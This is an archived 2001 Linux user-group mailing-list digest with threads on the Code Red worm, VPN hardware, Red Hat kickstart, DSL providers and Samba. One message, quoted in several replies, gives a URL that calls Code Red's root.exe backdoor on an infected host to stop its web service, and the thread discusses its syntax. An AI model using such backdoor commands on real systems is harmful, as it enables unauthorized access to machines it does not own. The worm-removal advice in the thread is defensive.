> Blah...I know more about NT than I ever wanted to... > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lxy at cloudnet.com Fri Aug 10 14:36:18 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III In-Reply-To: <001701c121d0$b714c370$940f3c9e@DHENRYW2P> Message-ID: On Fri, 10 Aug 2001, doug wrote: > > I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. > > If only it supported Linux. > > Brady > Yeah, but Code Red 95 should be 32 bit and alot more stable ;-> Sources inside Microsoft are saying that the new 32 bit Code Red will run other 32 bit worms with little difficulty. Since the new version is still based on the 8 bit original code, it will be backward compatible with all current versions of Code Red. There is no need to downgrade your IIS installations to install this worm. The proposed v3.2 will package an MP3 player, photo software, and a CD writing utility. There are also plans to release mod_codered.c for Apache with this for true multi-platform support. From lxy at cloudnet.com Fri Aug 10 14:39:49 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III In-Reply-To: Message-ID: On Fri, 10 Aug 2001, Andy Zbikowski (Zibby) wrote: > http://infected.host/scripts/root.exe?/c+start%%20net%20stop%20InetInfo+c:\\ Only under Windows a command exists "start net stop". -Brian From shane at shell.schulte.org Fri Aug 10 14:43:18 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III In-Reply-To: Message-ID: LOL....then M$ would be impressed and ship CodeRed v3.2 with XP for it's mutimedia software content. On Fri, 10 Aug 2001, Brian wrote: > On Fri, 10 Aug 2001, doug wrote: > > > > I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. > > > If only it supported Linux. > > > Brady > > > Yeah, but Code Red 95 should be 32 bit and alot more stable ;-> > > > Sources inside Microsoft are saying that the new 32 bit Code Red will run > other 32 bit worms with little difficulty. Since the new version is still > based on the 8 bit original code, it will be backward compatible with all > current versions of Code Red. There is no need to downgrade your IIS > installations to install this worm. > > The proposed v3.2 will package an MP3 player, photo software, and a CD > writing utility. There are also plans to release mod_codered.c for > Apache with this for true multi-platform support. > > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From ryanb at rydian.com Fri Aug 10 14:52:34 2001 From: ryanb at rydian.com (Ryan Bethke) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III References: Message-ID: <01a401c121d6$00161650$0a00a8c0@wolfnetrb> > On Fri, 10 Aug 2001, doug wrote: > > > > I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. > > > If only it supported Linux. > > > Brady > > > Yeah, but Code Red 95 should be 32 bit and alot more stable ;-> > > > Sources inside Microsoft are saying that the new 32 bit Code Red will run > other 32 bit worms with little difficulty. Since the new version is still > based on the 8 bit original code, it will be backward compatible with all > current versions of Code Red. There is no need to downgrade your IIS > installations to install this worm. > > The proposed v3.2 will package an MP3 player, photo software, and a CD > writing utility. There are also plans to release mod_codered.c for > Apache with this for true multi-platform support. > What? No mail handling ability? Or is that planned for the rewritten Code Red XP? From drew at usfamily.net Fri Aug 10 09:02:17 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III References: <01a401c121d6$00161650$0a00a8c0@wolfnetrb> Message-ID: <3B73E969.93713B3D@usfamily.net> Hey give microsoft a break, After all they are trying to fix their operating system thats why they are putting out a new version once in a while. Maybe this next version will work. HA ha ha, no seriously he he he. Ryan Bethke wrote: > > On Fri, 10 Aug 2001, doug wrote: > > > > > > I'm waiting for Code Red 3.1 I heard there are some bugs in 3.0. > > > > > If only it supported Linux. > > > > Brady > > > > > Yeah, but Code Red 95 should be 32 bit and alot more stable ;-> > > > > > > Sources inside Microsoft are saying that the new 32 bit Code Red will run > > other 32 bit worms with little difficulty. Since the new version is still > > based on the 8 bit original code, it will be backward compatible with all > > current versions of Code Red. There is no need to downgrade your IIS > > installations to install this worm. > > > > The proposed v3.2 will package an MP3 player, photo software, and a CD > > writing utility. There are also plans to release mod_codered.c for > > Apache with this for true multi-platform support. > > > > What? No mail handling ability? Or is that planned for the rewritten Code > Red XP? > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... Name: drew.vcf Type: text/x-vcard Size: 265 bytes Desc: Card for Andrew Nemchenko Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010810/5c9cefa9/drew.vcf From moomonk at greentechnologist.org Fri Aug 10 10:07:21 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III In-Reply-To: <002401c121d4$09283d60$940f3c9e@DHENRYW2P> Message-ID: Hmm... shouldn't that be `start net stop InetInfo' instead of `start net stop InetInfo c:\'? And what's up with using `start'? Is there a problem resolving net.exe without `start'? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Fri, 10 Aug 2001, doug wrote: > I don't believe that works...at least it didn't on a machine hitting us I > just tried it on... > > ----- Original Message ----- > From: "Andy Zbikowski (Zibby)" > To: > Sent: Friday, August 10, 2001 2:20 PM > Subject: Re: [TCLUG] Code Red III > > > > > http://infected.host/scripts/root.exe?/c+start%%20net%20stop%20InetInfo+c:\\ > > > > Blah...I know more about NT than I ever wanted to... > > > > Andrew S. Zbikowski | http://www.ringworld.org > > "We can learn much more from wise words, little > > from wisecracks and less from wise guys." > > --William Arthur Ward > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From moomonk at greentechnologist.org Fri Aug 10 10:09:18 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Code Red III In-Reply-To: Message-ID: Well... that's two commands. `start' is a shell primitive asking for a new cmd window and to exec the remaining args in that window. I suppose it's a little like asking xterm to run something. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Fri, 10 Aug 2001, Brian wrote: > On Fri, 10 Aug 2001, Andy Zbikowski (Zibby) wrote: > > > http://infected.host/scripts/root.exe?/c+start%%20net%20stop%20InetInfo+c:\\ > > Only under Windows a command exists "start net stop". > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Fri Aug 10 15:34:42 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] VPN setup question Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD6E@mspexch2.office.mktw.net> As far as I know, the Ravlin doesn't have that problem. I have 3 of em sitting in my desk drawer because I hate them and just do all the ipsec with the firewalls instead, but that's beside the point. Try it, if it doesn't work, worry about it then. :) Ravlin's -- $30k for a small box that weighs less than my cellphone. I haven't played with them for awhile though, so maybe their software got better. But, they still feel cheap. :) > -----Original Message----- > From: Amy Tanner [mailto:amy@real-time.com] > Sent: Friday, August 10, 2001 2:07 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] VPN setup question > > > On Fri, Aug 10, 2001 at 02:07:55PM -0500, Austad, Jay > (austad@marketwatch.com) wrote: > > Is it a router to router VPN, or are people connecting to it with > > their workstations? > > Actually, I need to support both scenarios. > > Personal Ravlin II -> Ravlin 10/5100 Server > Ravlin Software IPSec -> Ravlin 10/5100 Server. > > > > > If it's router to router, and one is a cisco, you might have some > > problems getting IPSec to work correctly in a NAT environment when > > only one side is NAT'd. I got around this by making an unencrypted > > GRE tunnel between the inside edge routers on both sides, and then > > making the firewall do the encryption on that traffic. > > > > If it's client to vpn server, you should be fine. > > > > jay > > -- > Amy Tanner > amy@real-time.com _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From amy at real-time.com Fri Aug 10 15:33:26 2001 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] VPN setup question In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD6E@mspexch2.office.mktw.net>; from austad@marketwatch.com on Fri, Aug 10, 2001 at 03:34:42PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD6E@mspexch2.office.mktw.net> Message-ID: <20010810153326.C27457@real-time.com> On Fri, Aug 10, 2001 at 03:34:42PM -0500, Austad, Jay (austad@marketwatch.com) wrote: > As far as I know, the Ravlin doesn't have that problem. I have 3 of em > sitting in my desk drawer because I hate them and just do all the ipsec with > the firewalls instead, but that's beside the point. Try it, if it doesn't > work, worry about it then. :) > > Ravlin's -- $30k for a small box that weighs less than my cellphone. I > haven't played with them for awhile though, so maybe their software got > better. But, they still feel cheap. :) I inherited these - they were purchased several years ago. If I can't get it to work, I'll do Linux IPSec <-> Linux IPSec. -- Amy Tanner amy@real-time.com From barnabas at knicknack.net Fri Aug 10 15:44:37 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] RH 7.1 kickstart In-Reply-To: <20010810130351.S12248@real-time.com>; from chrome@real-time.com on Fri, Aug 10, 2001 at 01:03:51PM -0500 References: <20010810120826.B19605@knicknack.net> <20010810130351.S12248@real-time.com> Message-ID: <20010810154437.A22052@knicknack.net> OK, I'll assume it's broken. Should kickstart from CD-ROM work? I tried creating a ks.cfg with the ksconfig tool, specifying the CD as the install source. I now get the message on VT3, "no install method specified for kickstart." Eric On Fri, Aug 10, 2001 at 01:03:51PM -0500, Carl Wilhelm Soderstrom wrote: > > Anyone have any idea what might be going on? > > NFS installs are broken under RH 7.0; according to Nate here. 7.1 could be > suffering the same thing. > From austad at marketwatch.com Fri Aug 10 16:20:45 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] VPN setup question Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD70@mspexch2.office.mktw.net> We always had problems with the Ravlin's key exchange screwing up and taking down the vpn tunnels. Haven't had any problems with the Cisco stuff. > -----Original Message----- > From: Amy Tanner [mailto:amy@real-time.com] > Sent: Friday, August 10, 2001 3:33 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] VPN setup question > > > On Fri, Aug 10, 2001 at 03:34:42PM -0500, Austad, Jay > (austad@marketwatch.com) wrote: > > As far as I know, the Ravlin doesn't have that problem. I > have 3 of > > em sitting in my desk drawer because I hate them and just > do all the > > ipsec with the firewalls instead, but that's beside the point. Try > > it, if it doesn't work, worry about it then. :) > > > > Ravlin's -- $30k for a small box that weighs less than my > cellphone. > > I haven't played with them for awhile though, so maybe > their software > > got better. But, they still feel cheap. :) > > I inherited these - they were purchased several years ago. > If I can't get it to work, I'll do Linux IPSec <-> Linux IPSec. > > -- > Amy Tanner > amy@real-time.com _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Aug 10 17:47:39 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Getting rid of Code Red v2 Message-ID: What do you need to do to get rid of Code Red v2 (the one that installs /scripts/root.exe?) One of my clients has it, installed the patch from MS, but /scripts/root.exe still works.. does he just need to delete the file? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Fri Aug 10 17:51:20 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Getting rid of Code Red v2 In-Reply-To: Message-ID: On Fri, 10 Aug 2001, Nate Carlson wrote: > What do you need to do to get rid of Code Red v2 (the one that installs > /scripts/root.exe?) > > One of my clients has it, installed the patch from MS, but > /scripts/root.exe still works.. does he just need to delete the file? Found a link on Norton's site: http://www.symantec.com/avcenter/venc/data/codered.ii.html cool. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From tmechanic at mn.mediaone.net Fri Aug 10 17:56:31 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Dead computer References: Message-ID: <3B74669F.1F840935@mn.mediaone.net> Have you made sure that the outlet has power. Colin Kilbane wrote: > If the power supply is an AT just punching the button should get a > responce, the fan on the power supply should come on. If ATX you need a > functioning mb to get a responce. I have extra AT power supplys and AT > mbs and processors, One is a pentium 90 and one is a pentiurm 75 and a > tower case. You can have them if you want them. > > Colin Kilbane > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From tmechanic at mn.mediaone.net Fri Aug 10 18:09:57 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:01 2005 Subject: [TCLUG] Electrical Question References: <3B740A8B.8020509@uswest.net> <012201c121ba$e1fd1da0$0a00a8c0@wolfnetrb> <3B740E46.2080301@uswest.net> Message-ID: <3B7469C5.6966F5C0@mn.mediaone.net> Well if it's a 5V fan plugged into 12V it wil run reeeaaaly fast, for about a minute, if it's a 12V fan plugged into 5V it will run forever, but so slow it isn't cooling anything. Perry Hoekstra wrote: > Ryan Bethke wrote: > > > The red wire on the fan runs to the orange/yellow wire from the powersupply > > connector (12V) or the red wire if you want to run the fan at 5V. The black > > goes to the black, and the white is probably for a motherboard sensor, so it > > should not be hooked up to anything (unless you have a motherboard with a > > spare fan header). > > What would be the impact of running the fans at 12V or 5V? I was going > to tie both fans into a single connector. Would that drive the 12V or > doesn't that matter? > > -- > Perry Hoekstra > E-Commerce Architect > Talent Software Services > perry.hoekstra@talentemail.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Fri Aug 10 18:15:34 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Getting rid of Code Red v2 In-Reply-To: References: Message-ID: <20010810181534.27b12a93.hick0088@tc.umn.edu> Nate Carlson wrote: > > What do you need to do to get rid of Code Red v2 (the one that installs > /scripts/root.exe?) > > One of my clients has it, installed the patch from MS, but > /scripts/root.exe still works.. does he just need to delete the file? Reinstall. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Friends don't let friends / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ use Windows. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010810/3df4f670/attachment.pgp From eng at pinenet.com Fri Aug 10 20:05:01 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Digital Broadcast revisited.sdm In-Reply-To: References: Message-ID: <20010811.1050100@linwin.mshome.net> There are many ways to encode broadcast messages. Have you ever looked at how an "NTSC" color TV signal is built on the older black and white TV signal ?? Do you understand "Quadrature Amplitude Modulation" ?? Or a "superheterodyne" receiver ?? There is a lot of complex signal analysis science that I've only heard of, much less understand. Compression methods, on, and on. Video capture cards already work, so a high speed broadcast signal is already available for a computer to decypher. There are whole libraries devoted to the subject of signal encoding. Much of it was written by some very wise scientists of nearly a century ago. The band width is there, the range is there, the commercial time is there, the hardware is there. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/8/01, 1:01:26 AM, "Andy Zbikowski (Zibby)" wrote regarding Re: [TCLUG] Digital Broadcast revisited.sdm: > > Computer Chronicles used to do this. They'd send batches of shareware > > packages by using about 1/3 of the screen. To humans, it just looks like > > static. I'm not sure how much stuff got sent. They ran it for about 1-2 > > minutes, and while it was going, they would say what was getting > > downloaded. I suspect it ended up in the 30-50 MB range. > I'm still curious as to how you actually decoded this. > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From moomonk at greentechnologist.org Fri Aug 10 15:32:49 2001 From: moomonk at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Getting rid of Code Red v2 In-Reply-To: Message-ID: You're pretty much stuck re-installing the whole thing. The whole problem is that your client has had a wide open back door into the server where any manner of *other* backdoors could have been installed. You can remove the worm and it's backdoors (that's more than just that root.exe file) but unless your client has had something like tripwire running you won't have any way of knowing whether there are other backdoors into the system. The only way you can be certain of what's on that machine is by taking it offline, backing up the *data*, erasing all the media and start again. I suppose you could pose that as a business decision to your client. They can opt to take the risk that nothing else has happened or they can have the server re-imaged. It's their call. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speach is simply staggering." On Fri, 10 Aug 2001, Nate Carlson wrote: > What do you need to do to get rid of Code Red v2 (the one that installs > /scripts/root.exe?) > > One of my clients has it, installed the patch from MS, but > /scripts/root.exe still works.. does he just need to delete the file? > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From dave at droyer.org Fri Aug 10 22:28:15 2001 From: dave at droyer.org (David Royer) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Getting rid of Code Red v2 In-Reply-To: Message-ID: I had to deal with this earlier this week. We had to delete 2 registry entries, remove \inetpub\scripts\root.exe, remove \program files\common files\system\msadc\root.exe, then remove C:\explorer.exe and D:\explorer.exe (which were rather annoying). I imagine the symantec article mentions these though. Like Josh mentioned, you really need to think about reinstalling. We didn't, as we were infected by an internal source, but that was a call for the higher-ups. Dave On Fri, 10 Aug 2001, Nate Carlson wrote: > What do you need to do to get rid of Code Red v2 (the one that installs > /scripts/root.exe?) > > One of my clients has it, installed the patch from MS, but > /scripts/root.exe still works.. does he just need to delete the file? > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > ----- "Never underestimate the bandwidth of a station wagon full of tapes hurtling down the highway." -- Andrew S. Tanenbaum - Computer Networks From kremer at ringworld.org Fri Aug 10 22:43:38 2001 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Dead computer In-Reply-To: Message-ID: Well, that's true and not... There are actually two pins on the ATX plug that when bridged, will turn the power supply on. I can't remember which two they are off the top of my head, but I know that i figured it out at work a couple months ago, and it only took me a few minutes to figure out. There are diagrams out there...just look for "spower" or "soft power" or something of the sort. Anyway, I hope that was at least a little help. - Justin On Thu, 9 Aug 2001, Colin Kilbane wrote: > If the power supply is an AT just punching the button should get a > responce, the fan on the power supply should come on. If ATX you need a > functioning mb to get a responce. I have extra AT power supplys and AT > mbs and processors, One is a pentium 90 and one is a pentiurm 75 and a > tower case. You can have them if you want them. > > Colin Kilbane > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From kremer at ringworld.org Fri Aug 10 23:02:47 2001 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Dead computer In-Reply-To: <200108092228.f79MSwa22294@mnmai05.mn.mediaone.net> Message-ID: mmm...look what i get for not reading all my mail before replying... don't i feel like an ass now... On 9 Aug 2001, Matthew LaBerge wrote: > On 09 Aug 2001 10:15:59 -0500, Colin Kilbane wrote: > > >If ATX you need a functioning mb to get a responce. > > You can get an ATX power supply to turn on without hooking it up to a > motherboard. All you need to do is short the green wire to any black > wire in the molex connector. This can be done with a paper clip or wire > you have lying around. > > Matthew LaBerge > labmat@mn.mediaone.net > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From isla0005 at tc.umn.edu Sat Aug 11 02:02:14 2001 From: isla0005 at tc.umn.edu (apu islam) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Need advise on DSL/CABLE ? References: Message-ID: <3B74D876.43443B16@tc.umn.edu> I am planning to run a production web server at my home using Qwest DSL deluxe package(1 mbps downstream, 1 mbps upstream). The webserver application will not be havily data intensive, it will have mysql databases on the back end and some large chunk of applications to keep it loaded. I do not know much about qwest DSL service and stability. So do you guys think it would be wise to run a production server using DSL ? I currently have cable and I know I am not going to run it on a cable. From tanner at real-time.com Sat Aug 11 00:22:21 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Need advise on DSL/CABLE ? In-Reply-To: <3B74D876.43443B16@tc.umn.edu>; from isla0005@tc.umn.edu on Sat, Aug 11, 2001 at 12:02:14AM -0700 References: <3B74D876.43443B16@tc.umn.edu> Message-ID: <20010811002221.C2926@real-time.com> Quoting apu islam (isla0005@tc.umn.edu): > I am planning to run a production web server at my home using Qwest DSL deluxe > package(1 mbps downstream, 1 mbps upstream). The webserver application will > not be havily data intensive, it will have mysql databases on the back end and > some large chunk of applications to keep it loaded. > > I do not know much about qwest DSL service and stability. So do you guys think > it would be wise to run a production server using DSL ? I currently have cable > and I know I am not going to run it on a cable. It would be cheaper to get a database driven web site from a local ISP. I'm not talking co-locationm, just find an ISP that does MySQL and supports whatever language your writing your web application in. It will be a whole lot cheaper then the 1Mb telco fee from Qworst. A helluva lot cheaper once you through the ISP charges on top of that. Given the rash of Code Red and Qwests crappy support, I would not put "stable", and "reliable", in with Qwest DSL. If you want a sales pitch from Real Time, send me private email and I'll tell you want we support and what it costs. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sat Aug 11 03:04:58 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:02 2005 Subject: [TCLUG] Bye-bye Rhythms Message-ID: <20010811030458.B939@real-time.com> They are dropping like flies now. Rhythms bites the dust. http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/08-10-2001/0001552511&EDATE= Looks like analog and cable are going to be the dominate technologies for next couple of years. :-P -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sat Aug 11 03:27:59 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:03 2005 Subject: [TCLUG] Telco that doesn't suck? Message-ID: <20010811032759.C939@real-time.com> Ok, most (all?) of us know Qwest sucks. Most of us know McLeod sucks. I've worked with PacBell and I have to say they suck. It looks like Verizon sucks http://news.cnet.com/news/0-1004-200-6814696.html It looks like AT&T and @Home sucks http://help.broadband.att.com/faq.jsp?content_id=792&category_id=54 So, are there any Telco or Cable modem providers that don't suck? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jpschewe at mtu.net Sat Aug 11 08:01:50 2001 From: jpschewe at mtu.net (Jon Schewe) Date: Mon Jan 17 13:26:03 2005 Subject: [TCLUG] Large files under Linux Message-ID: <20010811090150.J17761@mtu.net> ReiserFS supports large files, larger than 2GB, but can I actually write files that large or am I constrained because of the 2GB limit in VFS? -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From hick0088 at tc.umn.edu Sat Aug 11 08:17:47 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:03 2005 Subject: [TCLUG] Large files under Linux In-Reply-To: <20010811090150.J17761@mtu.net> References: <20010811090150.J17761@mtu.net> Message-ID: <20010811081747.29e09597.hick0088@tc.umn.edu> Jon Schewe wrote: > > ReiserFS supports large files, larger than 2GB, but can I actually write > files that large or am I constrained because of the 2GB limit in VFS? You must be running Linux 2.4 and have a glibc that supports large file operations. I'm pretty sure that some programs are still able to write to large files, even if the C library doesn't support it (tar and dd, for example). A question for the Sistina folks: do the patches that make large file operations possible in Linux 2.2 work for all filesystems, or just GFS? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ It's been a business / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ doing pleasure with you. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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I'm pretty sure that some programs are still able to write to > large files, even if the C library doesn't support it (tar and dd, for > example). How about shell redirects through NFS? bzip2 < /dev/sda8 > /nfsmounteddrive/sda8.img.bz2 -- Jon Schewe | http://mtu.net/~jpschewe For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 From blutgens at sistina.com Sat Aug 11 09:23:20 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Telco that doesn't suck? In-Reply-To: <20010811032759.C939@real-time.com>; from tanner@real-time.com on Sat, Aug 11, 2001 at 03:27:59AM -0500 References: <20010811032759.C939@real-time.com> Message-ID: <20010811092320.A1251@minime.sistina.com> On Sat, Aug 11, 2001 at 03:27:59AM -0500, Bob Tanner wrote: > >So, are there any Telco or Cable modem providers that don't suck? no. Everything sucks. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010811/a930aee6/attachment.pgp From foeclan at winternet.com Sat Aug 11 10:50:38 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Telco that doesn't suck? (rant about McLeod) References: <20010811032759.C939@real-time.com> Message-ID: <3B75544E.3090208@winternet.com> Bob Tanner wrote: > Ok, most (all?) of us know Qwest sucks. Most of us know McLeod sucks. I've *** This is primarily just a rant about McLeod. Feel free to ignore it if you're not interested. Y'know. The first time McLeod called, asking if I wanted to switch my local phone service, I was interested, but don't sign up for stuff without having stuff in print. He couldn't send me any information (bad sign), but directed me to their website. I thought 'Ok, cool. I'll look into this when I get time.'. 15 minutes later, I got another call. I told her I was busy. I was a little annoyed. Got rid of her, and 15 minutes later, I got ANOTHER call. I was considerably less interested in their service by this point. 2 days later, I get 2 more calls. I tell them to take me off the list. 3 days after that, I get a call AGAIN, and this guy actually gets snippy with me. I said 'I'll look into it when I get time.' 'What, you don't have 5 minutes?' 'No, I don't have 5 minutes. I'll look at it when I get time.' 'So, you're never going to consider it, are you?' 'At this rate, no. Take me off your list.' and he hung up on me. On the plus side, they apologized when I called McLeod the next day to make sure I was off their list (he hadn't removed me) and issue a complaint. I realize they hired a telemarketing company to do the calls, so McLeod itself didn't necessarily do this much to piss me off, but these are people they hired to represent them, I don't want anything to do with them. It seemed like a nice idea to have an alternative for local phone service, but it's hard to be enthusiastic when they work so hard to piss you off. -- Michael Vieths Email: Foeclan@Winternet.com Web: http://www.geekbear.net From hick0088 at tc.umn.edu Sat Aug 11 10:59:26 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Samba bind only to local network Message-ID: <20010811105926.1f0df29e.hick0088@tc.umn.edu> I don't know a whole lot about how the network sockets system works, but I'm curious: Is it possible to get servers to bind to a particular network/netmask? I want Samba (smbd, nmbd) to only listen for connections from the local network, not anywhere else. If it's not possible to get Samba only listening on the local network, I'll probably just put up an IP Tables rule.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Get the facts first - you / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ can distort them later! \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010811/16550ad7/attachment.pgp From dd-b at dd-b.net Sat Aug 11 11:12:49 2001 From: 